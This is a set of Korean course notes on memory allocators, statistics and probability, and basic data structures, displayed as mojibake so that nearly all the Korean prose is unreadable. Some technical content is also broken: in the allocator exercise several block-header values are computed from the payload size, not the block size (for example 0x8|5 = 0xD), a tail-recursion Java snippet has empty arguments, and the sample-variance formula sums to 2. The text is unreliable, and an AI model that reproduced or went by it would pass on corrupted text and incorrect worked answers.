๋ธ๋ก ํฌ์ธํฐ p ๋ฆฌํด 8 9void *realloc(void *p, size_t size) 10// ๋ธ๋ก p์ ํฌ๊ธฐ๋ฅผ ๋ณ๊ฒฝํ๊ณ , ์ ๋ธ๋ก์ ํฌ์ธํฐ๋ฅผ ๋ฆฌํด 11// ์ ๋ธ๋ก์ ๋ด์ฉ์ ์ด์ ๋ธ๋ก๊ณผ ์ ๋ธ๋ก ํฌ๊ธฐ ์ค ์ ์ ํฌ๊ธฐ๊น์ง๋ ๋ณํ ์์ ์ฐ์ํ malloc/free ํ๋ก๊ทธ๋จ์ ๋ชฉํ ์ฃผ์ ๋ชฉํ malloc๊ณผ free์์ ์ฐ์ํ ์๊ฐ ์ฑ๋ฅ์ ์ป๋๋ค ์ฐ์ํ ๊ณต๊ฐ ์ด์ฉ์จ์ ๊ฐ์ ธ์ผ ํ๋ค ๋ค๋ฅธ ๋ชฉํ ์ฐ์ํ ์ง์ญ์ฑ : ์๊ฐ์ ์ผ๋ก ์ธ์ (๋๋ ์ ์ฌํ ๊ฐ์ฒด) -> ๊ณต๊ฐ์์ผ๋ก ์ธ์ ๊ฒฌ๊ณ ์ฑ : free(p1) ํจ์๊ฐ ์ ํจํ ํฌ์ธํฐ p1์ ๋ํด ์ํํ๋์ง ์ฒดํฌํ ์ ์๋ค. ์ฑ๋ฅ ์งํ 1 : ์ฒ๋ฆฌ๋ (Throughput) ๋จ์ ์๊ฐ ๋์ ์๋ฃํ ์์ฒญ์ ์ ์ฑ๋ฅ ์งํ 2 : ์ต๋ ๋ฉ๋ชจ๋ฆฌ ์ด์ฉ์จ (Utilization) k๊ฐ์ ์์ฒญ ํ์, ์ต๋ ๋ฉ๋ชจ๋ฆฌ ์ด์ฉ์จ $$ U*{k} = (max*{i<=k}: P*{i}) / H*{k} $$ ๋ด๋ถ ๋ฉ๋ชจ๋ฆฌ ๋จํธํ (Internal Fragmentation) ์ผ๋ถ ๋ธ๋ก์์ ๋ธ๋ก ํฌ๊ธฐ์ ๋ฐ์ดํฐ ํฌ๊ธฐ๊ฐ์ ์ฐจ์ด๋ก ์ธํด ๋ฐ์ ์ด์ ์์ฒญ ํจํด์ ์ํด์๋ง ์ํฅ์ ๋ฐ์ผ๋ฏ๋ก ์ธก์ ์ด ์ฉ์ด ์ธ๋ถ ๋ฉ๋ชจ๋ฆฌ ๋จํธํ (External Fragmentation) ํ ์ ์ฒด ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํฉ์น๋ฉด ์์ฉ์ด ๊ฐ๋ฅํ์ง๋ง ๊ฐ์ฉ ๋ธ๋ก์ ํฌ๊ธฐ๊ฐ ์์ ๊ฒฝ์ฐ์ ๋ฐ์ ์ธ๋ถ ๋จํธํ๋ ๋ฏธ๋์ ์์ฒญ ํจํด์ ์ํด ๊ฒฐ์ ๋๋ฏ๋ก ์ธก์ ์ด ์ด๋ ต๋ค Free ๋ธ๋ญ ๊ด๋ฆฌํ๊ธฐ ๊ฐ์ ๋ฆฌ์คํธ : ํฌ๊ธฐ ์ ๋ณด๋ฅผ ์ด์ฉํ์ฌ ๋ชจ๋ ๋ธ๋ก์ ์ฐ๊ฒฐ ์ง์ ๋ฆฌ์คํธ : ๊ฐ์ฉ ๋ธ๋ก๋ด์ ํฌ์ธํฐ๋ฅผ ์ด์ฉ ๊ตฌ๋ถ ๊ฐ์ฉ๋ฆฌ์คํธ : ํฌ๊ธฐ ํด๋์ค๋ง๋ค ๋ณ๋์ ๊ฐ์ฉ ๋ฆฌ์คํธ๋ฅผ ์ ์ง ํฌ๊ธฐ๋ก ์ ๋ ฌ๋ ๋ธ๋ก ๋ฐฉ๋ฒ 1 : ๊ฐ์ ๋ฆฌ์คํธ ๋ฐฉ์ (Implicit List) 1 word = size(a) + payload + padding
์ฐ์ต๋ฌธ์
์ ํ์ฌํญ : ํค๋๋ 4๋ฐ์ดํธ, double-word alignment, ๋ธ๋ก์ ํฌ๊ธฐ๋ 8์ ๋ฐฐ์
์์ฒญ block size block header(hex) Malloc(1) 4+1+3 = 8 size | alloc = 0x8 | 1 = 0x9 Malloc(5) 4+5+7 = 16 size | alloc = 0x8 | 5 = 0xD Malloc(12) 4+12+0 = 16 size | alloc = 0x8 | 12 = 0x1A Malloc(13) 4+13+7 = 24 size | alloc = 0x8 | 13 = 0x1B ๊ฐ์ ๋ฆฌ์คํธ : Free ๋ธ๋ก ์ฐพ๊ธฐ First fit Next fit Best fit ๊ฐ์ ๋ฆฌ์คํธ : ๊ฒฐํฉ (Coalescing) freeํ ๋ ํด๋น ๋ธ๋ก์ ํ ๋น ํ๋๊ทธ๋ง 0์ผ๋ก ์ธํ
-> ์๋ชป๋ ๋จํธํ ๋ฐ์ freeํ๋ ๋ธ๋ก์ ์ด์ ๊ณผ ๋ค์ ๋ธ๋ก์ ํจ๊ป ์ฐ๊ฒฐํด์ ๋ ํฐ free๋ธ๋ก์ ๋ง๋ ๋ค ๊ฐ์ ๋ฆฌ์คํธ : ์๋ฐฉํฅ ์ฐ๊ฒฐ ๊ฒฝ๊ณ ํ๊ทธ (Boundary tags) header๋ฅผ ๋ณต์ ํด์ ๋ธ๋ก์ ๋ง์ง๋ง์ ๋ฃ๋๋ค (-> footer) 13-memory-2 ์ง์ ๋ฆฌ์คํธ ๊ฐ์ฉ ๋ธ๋ก๋ค์ ๋ฆฌ์คํธ๋ง์ ๊ด๋ฆฌํ๋ฉด, ๋ชจ๋ ๋ธ๋ก์ ๊ด๋ฆฌํ์ง ์๋๋ค ์ฐ๊ฒฐ ๋งํฌ๋ ๋ฉ๋ชจ๋ฆฌ ๋ธ๋ญ์ ์์์ ๋ฌด๊ดํ๋ค ์ง์ ๋ฆฌ์คํธ : Free ์๋กญ๊ฒ ๋ฐํํ ๋ธ๋ก์ ๊ฐ์ฉ๋ฆฌ์คํธ์ ์ด๋ ์์น์ ๋ผ์ ๋ฃ์ด์ผ ํ๋๊ฐ? LIFO (last in first out) ์ ์ฑ
: ๋ฐํ๋ธ๋ก์ ๋ฆฌ์คํธ ๋งจ ์์ ๋ผ์๋ฃ๋ ๋ฐฉ๋ฒ -> ๋น ๋ฅธ ์๊ฐ, ๋์ ๋จํธํ ์ฑ๋ฅ ์ฃผ์์ ๋ ฌ ์ ์ฑ
: ๋ธ๋ก๋ค์ ์ฃผ์๊ฐ ์์๋ฅผ ์ ์งํ๋๋ก ์ฝ์
-> ๋๋ฆฐ ์๊ฐ, ์ฐ์ํ ๋จํธํ ์ฑ๋ฅ ์ง์ ๋ฆฌ์คํธ <-> ๊ฐ์ ๋ฆฌ์คํธ ํ ๋น์๊ฐ์ด ์ ์ฒด ๋ธ๋ก์ ์๊ฐ ์๋๋ผ ๊ฐ์ฉ๋ธ๋ก ์์ ๋น๋กํ๋ค ํ ๋น๊ณผ ๋ฐํ ๊ณผ์ ์ด ๋ณต์กํ๋ค. ๋งํฌ ํฌ์ธํฐ ์ ์ฅ์ ์ํด ์ถ๊ฐ์ ์ธ ๊ณต๊ฐ์ด ํ์ํ๋ค (๋ธ๋ก๋ง๋ค 2์๋ ์ถ๊ฐ ํ์) ๊ตฌ๋ถ ๊ฐ์ฉ ๋ฆฌ์คํธ (segrated free list) ๊ฐ ํฌ๊ธฐ ํด๋์ค๋ค์ ํด๋์ค๋ง๋ค์ ๋ธ๋ก๋ค์ ๊ด๋ฆฌํ๋ค
ํฌ๊ธฐ n์ ๋ธ๋ก ํ ๋น ๋ฐฉ๋ฒ
ํฌ๊ธฐ n์ ๋ธ๋ก ๋ฆฌ์คํธ๊ฐ ๋น์ด์์ง ์์ ๊ฒฝ์ฐ
๋ฆฌ์คํธ์ ์ฒซ ๋ธ๋ก์ ํ ๋นํ๋ค. ๊ฐ์ฉ๋ฆฌ์คํธ๊ฐ ๋น์ด ์๋ ๊ฒฝ์ฐ
์ ํ์ด์ง๋ฅผ ํ ๋น๋ฐ๋๋ค (OS๋ก๋ถํฐ sbrk()๋ฅผ ์ฌ์ฉํ์ฌ) ์ด ํ์ด์ง์ ๋ชจ๋ ๋ธ๋ก๋ค๋ก๋ถํฐ ์๋ก์ด ๊ฐ์ฉ๋ฆฌ์คํธ๋ฅผ ์์ฑํ๋ค ๋ฆฌ์คํธ์ ์ฒซ ๋ธ๋ก์ ํ ๋นํ๋ค ๋ธ๋ก ๋ฐํ ๋ฐฉ๋ฒ
๊ฐ์ฉ ๋ฆฌ์คํธ์ ์ถ๊ฐ ๋ธ๋ก ์ฐ๊ฒฐ ํ ํด๋น ํด๋์ค ๊ฐ์ฉ๋ฆฌ์คํธ์ ์ถ๊ฐ ์ฅ์
๋์ ์ฒ๋ฆฌ๋ ์ฐ์ํ ๋ฉ๋ชจ๋ฆฌ ์ด์ฉ๋ฅ ์๋ฃ์ ์ ๋ฆฌ์ ์์ฝ ํต๊ณ ์๋ฃ์ ๊ตฌ๋ถ
์์ ์๋ฃ(quantitative data) ๋๋ ์์นํ์๋ฃ(numerical data) ์ด์ฐ์๋ฃ(์๋
์), ์ฐ์์๋ฃ(ํค) ์ง์ ์๋ฃ(qualitative data) ๋๋ ๋ฒ์ฃผํ์๋ฃ(categorical data) ๋ช
๋ชฉ์๋ฃ(ํ์กํ, ์ฑ๋ณ), ์์์๋ฃ(ํ์ , ๋ถ์ํ๊ฐ) ๋ณ์์ ์ข
๋ฅ
1all variables 2โโโ numerical 3โ โ-โ continuous (๋ฆฌํฐ ์) 4โ โ-โ discrete (๋๋ผ ์) 5โโโโ categorical 6 โ-โ Nominal (์ฑ๋ณ) 7 โ-โ Ordinal (๊ทผ๋ฌด ํ ์๊ฐ : 12-2) ๋์๋ถํฌํ ์๋ฃ์ ํน์ฑ์ ๊ธฐ์ค์ผ๋ก ์ผ์ ํ ๊ณ๊ธ์ผ๋ก ๋๋๊ณ , ๊ฐ ๊ณ๊ธ์ ๋์๋ฅผ ๋์ํ์ฌ ์์ฑํ ํ
๋ฒ์ฃผํ ๋์๋ถํฌํ ์์ ๋์ ์๋๋์ ๋นจ๊ฐ 60 0.2 … … … ๊ณ๊ธํ ๋์๋ถํฌํ ๊ณ๊ธ(์๊ฐ) ๊ณ๊ธ๊ฐ ๋์ ์๋๋์ ๋์ ๋์ ๋์ ์๋๋์ 10 ~ 17 13.5 7 0.14 7 0.14 17 ~ 24 20.5 24 0.48 31 0.62 … … … … … … ๊ณ๊ธํ ๋์๋ถํฌํ ์์ฑ ์์ ๋ฒ์ $R=x_{max} - x_{min}$ ๊ณ๊ธ์ ์ $k=1+log_2n$์ ๊ฐ๊น์ด ์์ฐ์ ๊ณ๊ธ์ ๊ฐ๊ฒฉ $c=\frac{R}{k}$ ๋ง๋๊ทธ๋ํ ํ์คํ ๊ทธ๋จ ๋์๋ถํฌ๋ค๊ฐํ ์๊ทธ๋ํ ๊บพ์์ ๊ทธ๋ํ ๋ํฏ๊ฐ $Q_1$ = ์ 1์ฌ๋ถ์์ = ์ 25๋ฐฑ๋ถ์์ $Q_2$ = ์ 2์ฌ๋ถ์์ = ์ 50์ฌ๋ถ์์ = ์ค์๊ฐ $Q_3$ = ์ 3์ฌ๋ถ์์ = ์ 75์ฌ๋ถ์์ ์ฐํฌ๋ ์ฌ๋ถ์์ ๋ฒ์ IQR $=Q_3- Q_1$
๋ชจ๋ถ์ฐ $$\sigma^2=\frac1N\sum^N_{i-1}(x_i-\mu)^2$$ ํ๋ณธ๋ถ์ฐ $$S^2=\frac1{n-1}\sum^2_{i=1}(x_i-\bar{x})^2$$ ๋ณ๋๊ณ์ $$CV = \frac{ํ์คํธ์ฐจ}{ํ๊ท }\times100%$$ 5์ ์์ฝ ํ์ $[\ x_{min},\ Q_1,\ Me,\ Q_3,\ x_{max}\ ]$
์๋ $$\frac{\mu_3}{S^3}$$ ์ฒจ๋ $$\frac{\mu_4}{S^4}$$ ์์๊ทธ๋ฆผ ํ๋ฅ ํ๋ณธ๊ณต๊ฐ๊ณผ ์ฌ๊ฑด ํ๋ณธ๊ณต๊ฐ : ๋ชจ๋ ๊ฐ๋ฅํ ๊ฒฐ๊ณผ์ ์งํฉ
ํ๋ณธ์ : ํ๋ณธ๊ณต๊ฐ์ ๊ตฌ์ฑํ๋ ๊ฐ๊ฐ์ ์์
์ฌ๊ฑด : ํ๋ณธ๊ณต๊ฐ์ ์์์ ๋ถ๋ถ์งํฉ
๊ทผ์์ฌ๊ฑด : ํ ์์๋ก๋ง ์ด๋ฃจ์ด์ง ์ฌ๊ฑด
์ ์ฌ๊ฑด : ํ๋ณธ๊ณต๊ฐ์ ๋ชจ๋ ์์๋ฅผ ํฌํจํ๋ ์ฌ๊ฑด : $\Omega$
๊ณต์ฌ๊ฑด
์ด์ฐํ๋ณธ๊ณต๊ฐ vs ์ฐ์ํ๋ณธ๊ณต๊ฐ
์ฌ๊ฑด์ ์ฐ์ฐ : ํฉ์ฌ๊ฑด, ๊ณฑ์ฌ๊ฑด, ์ฌ์ฌ๊ฑด, ๋ฐฐ๋ฐ์ฌ๊ฑด
์ฐ์ฐ๋ฒ์น : ๊ตํ๋ฒ์น, ๊ฒฐํฉ๋ฒ์น, ๋ถ๋ฐฐ๋ฒ์น, ๋๋ชจ๋ฅด๊ฐ์ ๋ฒ์น
ํ๋ฅ ๋ผํ๋ผ์ค์ ํ๋ฅ $$P(A)=\frac nN$$ ํ๋ฅ ์ ๊ณต๋ฆฌ ์์์ ์ฌ๊ฑด์ ๋ํด $0 \leq P(A) \leq1$ $P(\Omega)=1$ A1, A2, …์ด ๋ฐฐ๋ฐ์ฌ๊ฑด์ด๋ผ๋ฉด $P(A_1 \cup A_2 \cup …) = P(A_1)+P(A_2)+…$ ํ๋ฅ ์ ์ฑ์ง ์กฐ๊ฑด๋ถ ํ๋ฅ ์กฐ๊ฑด๋ถ ํ๋ฅ $$P(A\ |\ B) = \frac{P(A \cap B)}{P(B)},\ P(B)\neq0$$ ๊ณฑ์
์ ๋ฆฌ $$P(A \cap B)=P(B)P(A\ |\ B) = P(A)P(B\ |\ A)$$ ๋
๋ฆฝ ์ฌ๊ฑด ๋
๋ฆฝ $$ P(A) = P(A\ |\ B)\ or\ P(B) = P(B\ |\ A) $$ ๊ณฑ์
์ ๋ฆฌ $$ P(A \cap B) = P(A)P(B) $$ ๋ฒ ์ด์ฆ ์ ๋ฆฌ ๋ถํ ์ ํ๋ฅ (์ฌ๊ฑด $A_1$… ์ด ๋ถํ ์ผ๋) $$ P(B) = \sum^n_{k=1}P(A_k)\ P(B\ |\ A_k) $$ ๋ฒ ์ด์ฆ ์ ๋ฆฌ (์ฌ๊ฑด $A_1$… ์ด ๋ถํ ์ด๊ณ , $P(A_i)>0, P(B)>0$ ์ผ๋) $$P(A_i\ |\ B)=\frac{P(A_i \cap B)}{P(B)}=\frac{P(A_i)P(B\ |\ A_i)}{\sum^n_{k=1}P(A_k)P(B\ |\ A_k)}$$ ํ๋ฅ ๋ณ์์ ํ๋ฅ ๋ถํฌ ํ๋ฅ ๋ณ์ ํ๋ฅ ์ง๋ํจ์ $$ f(x)=P(X=x) $$ ํ๋ฅ ๋ฐ๋ํจ์ $$ P(a \leq X \leq b) = \int^b_af(x)dx$$ ํ๋ฅ ๋ถํฌ ๋ถํฌํจ์ (๋์ ๋ถํฌํจ์) $$ F(x) = P(X \leq x) = \sum_{x_i \leq x}f(x_i)$$ ๋ถํฌํจ์๊ฐ ์ด์ฐํ๋ฅ ๋ณ์์ธ ๊ฒฝ์ฐ, $P(X=x)=F(x)-F(x-1)$ ์ฐ์ํ๋ฅ ๋ถํฌ $$F(x)=P(X \leq x)=\int_{-\infty}^xf(x)dx$$ ํ๋ฅ ๋ณ์์ ๊ธฐ๋๊ฐ๊ณผ ๋ถ์ฐ ํ๋ฅ ๋ณ์์ ๊ธฐ๋๊ฐ
ํ๋ฅ ๋ณ์์ ๋ถ์ฐ
๋ถ์ฐ์ ์ฑ์ง
๊ฒฐํฉํ๋ฅ ๋ถํฌ ๊ฒฐํฉํ๋ฅ ์ง๋ํจ์ $$ f(x_i,\ y_j) = P(X=x_i, Y=y_j)\ (i=1\ …\ n\ j=1\ …\ m)$$ ๊ฒฐํฉ๋ถํฌํจ์ $$ F(x, y) = \sum_{u \leq x}\sum_{u \leq y}f(u, v) $$ ๊ฒฐํฉํ๋ฅ ๋ฐ๋ํจ์ $$ P{(X, Y) \in A} = \int_a^b \int_c^d f(x, y)dydx $$ ๊ฒฐํฉ๋ถํฌํจ์ $$ F(x, y) = \int_{- \infty}^x \int_{- \infty}^y f(u, v) du dv$$ ๊ณต๋ถ์ฐ๊ณผ ์๊ด๊ณ์ ๊ณต๋ถ์ฐ $$ Cov(X, Y) = E(XY) - \mu_X \mu_Y $$ ์๊ด๊ณ์ $$ Corr(X, Y) = \frac{Cov(X, Y)}{\sigma_X \sigma_Y} $$ ๋ ํ๋ฅ ๋ณ์๊ฐ ๋
๋ฆฝ์ด๋ผ๋ฉด, $E(XY) = E(X)E(Y)$ $Var(X+Y) = Var(X)+Var(Y)$ $Cov(X, Y) = 0$ $Corr(X, Y) = 0$ ์ฌ๋ฌ๊ฐ์ง ํ๋ฅ ๋ถํฌ ์ด์ฐํ๋ฅ ๋ถํฌ ์ด์ฐ๊ท ๋ฑ๋ถํฌ
ํ๋ฅ ๋ณ์ X๊ฐ ๊ฐ์ง๋ ๊ฐ์ ํ๋ฅ ์ด ๋ชจ๋ ๊ฐ์ ํ๋ฅ ๋ถํฌ $$ f(x) = \frac1n (x=1, 2,\ …,\ n) $$ ๋ฒ ๋ฅด๋์ด ๋ถํฌ B(1, p)
๋ฐ์ํ ์ ์๋ ๊ฒฐ๊ณผ๊ฐ ์ค์ง ๋ ๊ฐ๋ฟ์ธ ๊ฒฝ์ฐ $$ f(x)=p^xq^{1-x}\ (x=0, 1) $$ $E(x) = p$ $V(x) = pq$ ์ดํญ๋ถํฌ B(n, p)
nํ์ ๋ฒ ๋ฅด๋์ด ์ํ์์ ์ฑ๊ณตํ ํ์ X์ ํ๋ฅ ๋ถํฌ $$ f(x) = _nC_x p^xq^{(n-x)} $$ $E(X) = np$ $V(X) = npq$ ์ด๊ธฐํ๋ถํฌ H(N, M, n)
n๊ฐ์ ํ๋ณธ์ ๋น๋ณต์ ์ถ์ถ์ ํ๋ฅ ๋ถํฌ $$ f(x) = \frac{{}{M}C{x} \cdot {}{N-M}C{n-x}}{{}{N}C{n}} $$ $E(X) = n \frac{M}{N}$ $V(X) = n \frac{M}{N}(1-\frac{M}{N})(\frac{N-n}{N-1})$ ํธ์์ก๋ถํฌ P(m)
์ฃผ์ด์ง ์ํฉ ์์์ ๋ฐ์ํ๋ ์ด๋ค ์ฌ๊ฑด์ ํ๊ท ๋ฐ์ํ์ X์ ํ๋ฅ ๋ถํฌ $$ f(x) = \frac{e^{-m}m^x}{x!}\ (x=0, 1, 2, …)$$ $E(X) = m$ $V(X) = m$ n>=20, p<=0.05 ์ด๋ฉด ์ดํญ๋ถํฌ๊ฐ ๊ทผ์ฌ ๊ฐ๋ฅ ๊ธฐํ๋ถํฌ Geo(p)
์ฒ์์ผ๋ก ์ฑ๊ณตํ ๋๊น์ง์ ์ํํ์๋ฅผ ๋ฐ๋ฅด๋ ํ๋ฅ ๋ถํฌ $$ p(x) = q^{x-1}p (x=1, 2, …) $$ $E(X) = \frac{1}{p}$ $V(X) = \frac{q}{p^2}$ ์์ดํญ๋ถํฌ NB(k, p)
๋ฐ๋ณต์ํ์์ k๋ฒ ์ฑ๊ณตํ ๋๊น์ง์ ์ํํ์ X์ ํ๋ฅ ๋ถํฌ $$ f(x) = {}{x-1}C{k-1}\ p^kq^{x-k} $$ $E(X)=\frac{k}{p}$ $V(X)=\frac{kq}{p^2}$ ์ 1์ฅ : ์๋ฃ๊ตฌ์กฐ๋ฅผ ๋ฐฐ์ฐ๊ธฐ ์ํ ์ค๋น (230302) ๋ฐฐ์ด ๋ฐฐ์ด(Array): ๋์ผํ ํ์
์ ์์๋ค์ด ์ฐ์์ ์ธ ๋ฉ๋ชจ๋ฆฌ ๊ณต๊ฐ์ ํ ๋น๋์ด ์๋ ๊ธฐ์ด์ ์ธ ์๋ฃ๊ตฌ์กฐ ์ถ์๋ฐ์ดํฐ ํ์
์ถ์๋ฐ์ดํฐํ์
(ADT:Abstract Data Type) : ๋ฐ์ดํฐ์ ๊ทธ ๋ฐ์ดํฐ์ ๋ํ ์ถ์์ ์ธ ์ฐ์ฐ๋ค๋ก์จ ๊ตฌ์ฑ ADT =~ ์๋ฐ์ interface, ์๋ฃ๊ตฌ์กฐ =~ ์๋ฐ์ class ์๋ฃ๊ตฌ์กฐ๋ ์ถ์๋ฐ์ดํฐํ์
์ ๊ตฌ์ฒด์ ์ผ๋ก ๊ตฌํํ ๊ฒ 1-2 ์ํ์๊ฐ์ ๋ถ์ ์๊ณ ๋ฆฌ์ฆ์ ์ฑ๋ฅ: ์ํ์๊ฐ์ ๋ํ๋ด๋ **์๊ฐ๋ณต์ก๋(Time Complexity)**์ ์๊ณ ๋ฆฌ์ฆ์ด ์ํ๋๋ ๋์ ์ฌ์ฉ๋๋ ๋ฉ๋ชจ๋ฆฌ ๊ณต๊ฐ์ ํฌ๊ธฐ๋ฅผ ๋ํ๋ด๋ **๊ณต๊ฐ๋ณต์ก๋(Space Complexity)**์ ๊ธฐ๋ฐํ์ฌ ๋ถ์ ์๊ฐ ๋ณต์ก๋
์๊ฐ๋ณต์ก๋๋ ์๊ณ ๋ฆฌ์ฆ(์ฐ์ฐ)์ด ์คํ๋๋ ๋์์ ์ฌ์ฉ๋ ๊ธฐ๋ณธ์ ์ธ ์ฐ์ฐ ํ์๋ฅผ ์
๋ ฅ ํฌ๊ธฐ์ ํจ์๋ก ๋ํ๋ธ๋ค. ๊ธฐ๋ณธ ์ฐ์ฐ(Elementary Operation)์ด๋ ๋ฐ์ดํฐ ๊ฐ ํฌ๊ธฐ ๋น๊ต, ๋ฐ์ดํฐ ์ฝ๊ธฐ ๋ฐ ๊ฐฑ์ , ์ซ์ ๊ณ์ฐ ๋ฑ๊ณผ ๊ฐ์ ๋จ์ํ ์ฐ์ฐ์ ์๋ฏธ 4๊ฐ์ง ์ข
๋ฅ์ ๋ถ์
์ต์
๊ฒฝ์ฐ ๋ถ์(Worst-case Analysis) : ์ํ์ ์ ์๋ฏธ ํ๊ท ๊ฒฝ์ฐ ๋ถ์(Average-case Analysis) ์ต์ ๊ฒฝ์ฐ ๋ถ์(Best-case Analysis) : ๊ฐ์ฅ ๋น ๋ฅธ ์ํ์๊ฐ ์๊ฐ๋ถ์(Amortized Analysis) : ์ด ์ฐ์ฐํ์๋ฅผ ํฉํ๊ณ ์ฐ์ฐ ํ์๋ก ๋๋์ด ์ํ์๊ฐ์ ๋ถ์ 1-3 ์ํ์๊ฐ์ ์ ๊ทผํ๊ธฐ๋ฒ O (Big-Oh)-ํ๊ธฐ๋ฒ ฮฉ (Big-Omega)-ํ๊ธฐ๋ฒ ฮ (Theta)-ํ๊ธฐ๋ฒ O (Big-Oh) ํ๊ธฐ๋ฒ ๋ชจ๋ N โฅ N0์ ๋ํด์ f(N) โค cg(N)์ด ์ฑ๋ฆฝํ๋ ์์ ์์ c์N0๊ฐ ์กด์ฌํ๋ฉด, f(N) = O(g(N))์ด๋ค. ๋ชจ๋ N โฅ N0์ ๋ํด์ f(N) โค cg(N)์ด ์ฑ๋ฆฝํ๋ ์์ ์์ c์ N0๊ฐ ์กด์ฌํ๋ฉด, f(N) = O(g(N)) f(N) = O(g(N))์ N0 ๋ณด๋ค ํฐ ๋ชจ๋ N ๋ํด์ f(N)์ด ์์ ์์๋ฅผ ๊ณฑํ g(N)์ ๋ฏธ์น์ง ๋ชปํ๋ค๋ ๋ป g(N)์ f(N)์ ์ํ(Upper Bound) ์ด๋ผ๊ณ ํ๋ค ฮฉ (Big-Omega) ํ๊ธฐ๋ฒ ๋ชจ๋ N โฅ N0์ ๋ํด์ f(N) โฅ cg(N)์ด ์ฑ๋ฆฝํ๋ ์์ ์์ c์ N0๊ฐ ์กด์ฌํ๋ฉด, f(N) = ฮฉ(g(N)) f(N) = ฮฉ(g(N))์ ์์ ์์๋ฅผ ๊ณฑํ g(N)์ด f(N)์ ๋ฏธ์น์ง ๋ชปํ๋ค๋ ๋ป g(N)์ f(N)์ ํํ(Lower Bound) ์ด๋ผ๊ณ ํ๋ค ฮ (Theta) ํ๊ธฐ๋ฒ ๋ชจ๋ N โฅ N0์ ๋ํด์ c1g(N) โฅ f(N) โฅ c2g(N)์ด ์ฑ๋ฆฝํ๋ ์์ ์์ c1, c2, N0๊ฐ ์กด์ฌํ๋ฉด, f(N) = ฮ(g(N)) ฮ-ํ๊ธฐ๋ ์ํ์๊ฐ์ O-ํ๊ธฐ์ ฮฉ-ํ๊ธฐ๊ฐ ๋์ผํ ๊ฒฝ์ฐ์ ์ฌ์ฉ ์์ฃผ ์ฌ์ฉ๋๋ ํจ์์ O-ํ๊ธฐ์ ์ด๋ฆ O(1), O(logN), O(N), O(NlogN), O(N2), O(N3), O(2N) 1-5 ์ํ (Recursion) ์ํ์ผ๋ก ๊ตฌํ๋ ๋ฉ์๋์ ๊ตฌ์ฑ์์ ๊ธฐ๋ณธ(Base) case : ์ค์ค๋ก๋ฅผ ๋ ์ด์ ํธ์ถํ์ง ์๋ ๋ถ๋ถ ์ํ case : ์ค์ค๋ก๋ฅผ ํธ์ถํ๋ ๋ถ๋ถ ๊ผฌ๋ฆฌ ์ํ (Tail Recursion) ๋ฉ์๋์ ๋ง์ง๋ง ๋ถ๋ถ์์ ์ํ (ํธ์ถ ํ ๋๋์ ์์๋ ์ํํ ์ฐ์ฐ์ด ์๋ ๊ฒฝ์ฐ) ๊ผฌ๋ฆฌ ์ํ์ ๋ฐ๋ณต๋ฌธ์ผ๋ก ๋ณํํ๋ ๊ฒ์ด ํจ์จ์ ์ด๋ค 1public class TailRecursion { 2 public static int factorial(int n, int fact) { 3 if (n==1) 4 return fact; 5 return factorial( ,); 6 } 7} ์ 2์ฅ : ๋ฆฌ์คํธ ๋ฆฌ์คํธ ์ผ๋ จ์ ๋์ผํ ํ์
์ ํญ๋ชฉ๋ค์ด ๋์ด๋ ๊ฒ ๋ฐฐ์ด ๋์ผํ ํ์
์ ์์๋ค์ด ์ฐ์์ ์ธ ๋ฉ๋ชจ๋ฆฌ ๊ณต๊ฐ์ ํ ๋น๋์ด ๊ฐ ํญ๋ชฉ์ด ํ๋์ ์์์ ์ ์ฅ๋๋ ๊ธฐ๋ณธ์ ์ธ ์๋ฃ๊ตฌ์กฐ ์ ๊ทผ : O(1), ์ฝ์
/์ญ์ : O(n) ๋ฐฐ์ด๋ก ๋ฆฌ์คํธ ๊ตฌํ (ArrList) peek, insert, resize, delete ๋จ์ ์ฐ๊ฒฐ ๋ฆฌ์คํธ(Singly Linked List) print, search, insertFront, insertAfter ์๊ธฐ์ฐธ์กฐ๋ณ์ 1public class Node <E> { 2 private Node<E> next; // ์๊ธฐ ์ฐธ์กฐ ๋ณ์ 3 ... 4} ์ํ์๊ฐ search : O(n) insert, delete : O(1), p๊ฐ ์์ฃผ์ด์ง๋ฉด O(n) ์ด์ค ์ฐ๊ฒฐ ๋ฆฌ์คํธ (Doubly Linked List) head, tail, item insertBefore, insertAfter, delete, ์ํ์๊ฐ ์ฝ์
/์ญ์ ์ฐ์ฐ : O(1) ํ์ ์ฐ์ฐ : O(n) ์ํ ์ฐ๊ฒฐ ๋ฆฌ์คํธ(Circular Linked List) ์ํ์๊ฐ ์ฝ์
/์ญ์ ์ฐ์ฐ : O(1) ํ์ ์ฐ์ฐ : O(n) ์ 3์ฅ : ์คํ๊ณผ ํ ์คํ ๋ฐฐ์ด๋ก ๊ตฌํ / LinkedList๋ก ๊ตฌํ ํ์ ํ๊ธฐ <-> ์ค์ ํ๊ธฐ ์ํ์๊ฐ push, pop : O(1) ๋ฐฐ์ด ํฌ๊ธฐ์ ํ๋/์ถ์ : O(n) ๋จ์ ์ฐ๊ฒฐ ๋ฆฌ์คํธ์ pop, push : O(1) ์ 4์ฅ : ํธ๋ฆฌ ์ฉ์ด root, parent, child leaf, sibling, ancesto๋ฆฌ(์กฐ์), descendant(ํ์) subtree(๋
ธ๋ ์์ ๊ณผ ํ์์ผ๋ก ๊ตฌ์ฑ๋ ํธ๋ฆฌ) degree(์ฐจ์ : ์์ ์) level (๊น์ด์ ๋์ผ, 0 ๋๋ 1๋ถํฐ ์์) height (ํธ๋ฆฌ์ ์ต๋ level) key (ํ์์ ์ฌ์ฉ๋๋ ๋
ธ๋์ ์ ์ฅ๋ ์ ๋ณด) ์ผ์ชฝ ์์-์ค๋ฅธ์ชฝ ํ์ (Left Child-Right Sibling) ํํ ๋
ธ๋์ ์ผ์ชฝ ์์๊ณผ ์ค๋ฅธ์ชฝ ํ์ ๋ฅผ ๊ฐ๋ฆฌํค๋ 2๊ฐ์ ๋ ํผ๋ฐ์ค๋ง ์ฌ์ฉ ์ด์ง ํธ๋ฆฌ (Binary Tree) ๊ฐ ๋
ธ๋์ ์์ ์๊ฐ 2 ์ดํ์ธ ํธ๋ฆฌ ํน๋ณํ ํํ์ ์ด์งํธ๋ฆฌ
ํฌํ ์ด์ง ํธ๋ฆฌ(Perfect Binary Tree) ๊ฐ ๋ด๋ถ ๋
ธ๋๊ฐ 2๊ฐ์ ์์์ ๊ฐ์ง๊ณ ๋ชจ๋ ์ดํ๋ฆฌ๊ฐ ๊ฐ์ ์ธต์ ์๋ ํธ๋ฆฌ ์์ ์ด์ง ํธ๋ฆฌ(Complete Binary Tree) ๋ง์ง๋ง ๋ ๋ฒจ์ ์ ์ธํ ๊ฐ ๋ ๋ฒจ์ด ๋
